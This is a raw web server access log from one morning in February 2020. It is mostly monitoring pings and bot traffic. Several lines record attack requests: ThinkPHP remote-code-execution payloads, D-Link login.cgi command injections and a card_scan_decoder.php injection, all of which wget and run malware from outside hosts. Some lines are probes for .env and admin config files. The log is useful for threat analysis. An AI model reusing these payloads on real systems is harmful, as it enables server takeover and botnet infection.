212.91.246.72 - - [01/Feb/2020:07:19:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.59.50.49 - - [01/Feb/2020:07:19:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:07:20:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.79.255.165 - - [01/Feb/2020:07:21:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:07:21:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.88.140.156 - - [01/Feb/2020:07:22:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.141.166 - - [01/Feb/2020:07:22:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:07:22:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.74.109.244 - - [01/Feb/2020:07:22:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:07:23:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:07:24:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:07:25:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.181.41 - - [01/Feb/2020:07:26:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:07:26:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.50.24.181 - - [01/Feb/2020:07:26:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.52.155.109 - - [01/Feb/2020:07:27:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:07:27:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
13.48.25.174 - - [01/Feb/2020:07:27:46 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:07:28:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:07:29:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
13.53.78.41 - - [01/Feb/2020:07:30:33 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
18.231.169.102 - - [01/Feb/2020:07:30:38 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:07:30:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.93.1.246 - - [01/Feb/2020:07:30:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:07:31:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:07:32:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
82.202.81.2 - - [01/Feb/2020:07:32:54 +0100] "POST /editBlackAndWhiteList HTTP/1.1" 404 326 "-" "ApiTool"
212.91.246.72 - - [01/Feb/2020:07:33:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:07:34:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:07:35:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.194.23.70 - - [01/Feb/2020:07:36:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:07:36:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:07:37:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.176.80.119 - - [01/Feb/2020:07:38:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [01/Feb/2020:07:38:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.127.254.160 - - [01/Feb/2020:07:38:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:07:39:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
202.59.78.90 - - [01/Feb/2020:07:40:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:07:40:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.180.249 - - [01/Feb/2020:07:40:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:07:41:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:07:42:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.155.167.105 - - [01/Feb/2020:07:43:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:07:43:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:07:44:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:07:45:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:07:46:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.118.124.65 - - [01/Feb/2020:07:47:23 +0100] "GET / HTTP/1.1" 200 1229 "https://javcoast.com/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)"
46.118.124.65 - - [01/Feb/2020:07:47:23 +0100] "GET / HTTP/1.1" 200 1229 "https://javcoast.com/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)"
46.118.124.65 - - [01/Feb/2020:07:47:23 +0100] "GET / HTTP/1.1" 200 1229 "https://javcoast.com/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)"
212.91.246.72 - - [01/Feb/2020:07:47:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.172.35.158 - - [01/Feb/2020:07:48:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
152.0.114.208 - - [01/Feb/2020:07:48:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
88.32.72.110 - - [01/Feb/2020:07:48:19 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 340 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
212.91.246.72 - - [01/Feb/2020:07:48:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.118.112.190 - - [01/Feb/2020:07:48:55 +0100] "GET / HTTP/1.1" 200 1229 "http://www.slomm.ru/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)"
46.118.112.190 - - [01/Feb/2020:07:48:55 +0100] "GET / HTTP/1.1" 200 1229 "http://www.slomm.ru/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)"
46.118.112.190 - - [01/Feb/2020:07:48:56 +0100] "GET / HTTP/1.1" 200 1229 "http://www.slomm.ru/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)"
212.91.246.72 - - [01/Feb/2020:07:49:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:07:50:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.86.20 - - [01/Feb/2020:07:50:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
13.48.25.174 - - [01/Feb/2020:07:51:40 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:07:51:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.59.56 - - [01/Feb/2020:07:52:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:07:52:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.193.52 - - [01/Feb/2020:07:53:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:07:53:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
18.231.169.102 - - [01/Feb/2020:07:54:20 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
191.13.163.228 - - [01/Feb/2020:07:54:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [01/Feb/2020:07:54:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.155.230 - - [01/Feb/2020:07:55:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:07:55:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.224.52.249 - - [01/Feb/2020:07:56:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
89.36.96.246 - - [01/Feb/2020:07:56:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:07:56:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.48.189.235 - - [01/Feb/2020:07:56:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.57.36.197 - - [01/Feb/2020:07:57:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:07:57:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.148.105.233 - - [01/Feb/2020:07:57:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:07:58:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:07:59:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:08:00:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:08:01:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.118.161.49 - - [01/Feb/2020:08:01:46 +0100] "GET / HTTP/1.0" 200 1229 "-" "NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com"
212.91.246.72 - - [01/Feb/2020:08:02:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.146.32 - - [01/Feb/2020:08:02:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.19.236.108 - - [01/Feb/2020:08:03:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
122.177.103.142 - - [01/Feb/2020:08:03:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [01/Feb/2020:08:03:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.197.184 - - [01/Feb/2020:08:04:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:08:04:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.219.128.39 - - [01/Feb/2020:08:04:47 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:08:05:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
3.120.37.175 - - [01/Feb/2020:08:06:40 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:08:06:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:08:07:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.60.211.13 - - [01/Feb/2020:08:07:52 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
27.35.236.64 - - [01/Feb/2020:08:07:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
42.112.125.16 - - [01/Feb/2020:08:08:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [01/Feb/2020:08:08:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.226 - - [01/Feb/2020:08:09:12 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.226 - - [01/Feb/2020:08:09:21 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.226 - - [01/Feb/2020:08:09:32 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.226 - - [01/Feb/2020:08:09:39 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [01/Feb/2020:08:09:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.226 - - [01/Feb/2020:08:09:43 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.226 - - [01/Feb/2020:08:10:11 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.226 - - [01/Feb/2020:08:10:16 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.226 - - [01/Feb/2020:08:10:27 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.226 - - [01/Feb/2020:08:10:30 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [01/Feb/2020:08:10:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:08:11:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.94.207.247 - - [01/Feb/2020:08:12:09 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
18.195.154.46 - - [01/Feb/2020:08:12:23 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:08:12:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.123.135.7 - - [01/Feb/2020:08:13:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:08:13:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:08:14:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.70.105 - - [01/Feb/2020:08:15:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:08:15:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:08:16:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:08:17:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.226 - - [01/Feb/2020:08:18:02 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
176.109.232.104 - - [01/Feb/2020:08:18:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.32.76.141 - - [01/Feb/2020:08:18:27 +0100] "GET ///admin/config.php HTTP/1.1" 404 321 "-" "python-requests/2.22.0"
212.91.246.72 - - [01/Feb/2020:08:18:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.240.117 - - [01/Feb/2020:08:18:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:08:19:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.36.9 - - [01/Feb/2020:08:19:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:08:20:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:08:21:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.50.7.243 - - [01/Feb/2020:08:22:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
184.72.37.34 - - [01/Feb/2020:08:22:22 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:08:22:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
